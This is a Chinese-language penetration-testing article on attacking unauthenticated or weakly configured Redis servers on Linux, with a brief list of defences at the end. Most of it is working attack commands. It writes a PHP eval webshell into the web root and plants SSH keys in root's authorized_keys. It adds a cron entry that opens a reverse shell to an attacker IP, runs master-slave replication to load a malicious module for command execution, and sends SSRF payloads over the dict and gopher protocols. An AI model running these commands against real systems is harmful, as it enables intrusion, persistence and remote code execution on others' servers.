浅析Linux下Redis的攻击面(一)
字数 1799 2025-08-25 22:59:09
Linux下Redis攻击面深度分析
0x00 Redis简介与安全背景
Redis是一个基于BSD协议的开源内存键值数据库,具有高性能、支持持久化等特点,广泛应用于缓存、消息中间件等场景。由于其设计理念,Redis存在多个安全风险点:
- 3.2.0之前版本默认无密码且对外开放6379端口
- 3.2.0之后增加了保护模式,但仅限制本地访问
- 提供config命令可修改备份路径和文件名
- 支持主从复制功能可能被滥用
0x01 环境搭建与版本差异
版本控制规则
Redis采用major.minor.patchlevel版本格式:
- 偶数小版本号为稳定版(如2.4、2.6)
- 奇数小版本号为不稳定版(如2.9.x)
测试环境搭建
推荐使用Docker快速搭建不同版本环境:
# 4.x版本
git clone https://github.com/vulhub/vulhub.git
cd ./vulhub/redis/4-unacc
docker-compose up -d
# 5.x版本
docker pull redis:5.0.9
docker run --name redis5 -p6379:6379 -d redis:5.0.9
0x02 常见攻击方式
0x02.1 信息泄露
info命令:获取服务器信息和统计数值config get *:获取所有配置信息
0x02.2 写Webshell
传统方式(存在风险):
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
改进方式(避免flushall):
select 5 # 选择空数据库
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
0x02.3 SSH免密登录
- 生成SSH密钥对
- 处理公钥文件:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -x set 1
- 写入authorized_keys:
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
0x02.4 计划任务反弹Shell
CentOS下有效:
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/X.X.X.X/7789 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
0x02.5 处理压缩问题
当写入高冗余数据时,Redis默认使用LZF压缩,可能导致写入失败:
config set rdbcompression no
0x03 主从复制RCE
0x03.1 原理概述
- 攻击者伪装成Redis主节点
- 受害者设置为从节点
- 传输恶意.so文件
- 加载.so文件执行命令
0x03.2 利用工具
推荐使用redis-rogue-server:
python3 redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击者IP --lport 监听端口
0x03.3 手动利用步骤
config set dir ./
config set dbfilename exp.so
slaveof 攻击者IP 攻击者端口
module load ./exp.so
system.exec 'whoami'
slaveof no one
config set dbfilename dump.rdb
system.exec 'rm ./exp.so'
module unload system
0x03.4 版本限制
- 有效版本:4.x-5.x
- 6.0+版本可能因.so文件不兼容而失败
0x03.5 禁用config命令的绕过
当redis.conf中配置了rename-command CONFIG ""时:
- 通过主从复制同步恶意.so文件
- 文件会被保存为默认的dump.rdb
- 直接加载dump.rdb作为恶意模块
0x04 SSRF利用Redis
0x04.1 协议差异
| 特性 | dict协议 | gopher协议 |
|---|---|---|
| 换行处理 | 自动添加\r\n | 需要手动构造 |
| 多命令支持 | 不支持,需分多次请求 | 支持多行输入 |
| 特殊字符处理 | 不支持换行符 | 需要URL编码 |
| 请求结束标志 | 无 | 需要添加quit命令 |
0x04.2 无认证SSRF攻击
dict协议:
curl dict://127.0.0.1:6381/slaveof:攻击者IP:端口
curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so
curl dict://127.0.0.1:6381/module:load:./exp.so
curl dict://127.0.0.1:6381/slaveof:no:one
curl dict://127.0.0.1:6381/system.exec:'命令'
gopher协议:
使用gopherus工具生成payload:
gopherus --exploit redis
0x04.3 带认证SSRF攻击
- 构造认证部分的RESP协议格式:
*2\r\n$4\r\nauth\r\n$6\r\n123123\r\n
- URL编码后作为前缀
- 附加攻击命令
0x04.4 通用利用脚本
提供Python脚本自动生成gopher协议的payload,支持认证和非认证两种情况。
0x05 其他攻击面
0x05.1 反序列化攻击
当Redis中存储的内容被应用程序反序列化时,可能触发反序列化漏洞。使用gopher协议可传输包含特殊字符的序列化数据。
0x06 防御建议
- 设置强密码认证
- 禁用危险命令:
rename-command CONFIG "" - 启用保护模式
- 限制绑定IP
- 使用网络隔离
- 及时更新Redis版本
- 监控异常操作
0x07 总结
Redis在内网渗透中具有多种攻击方式,从简单的信息泄露到通过主从复制实现RCE。攻击者可以利用这些特性实现权限提升、持久化访问等目的。防御方应从配置加固、网络隔离和监控审计等多方面进行防护。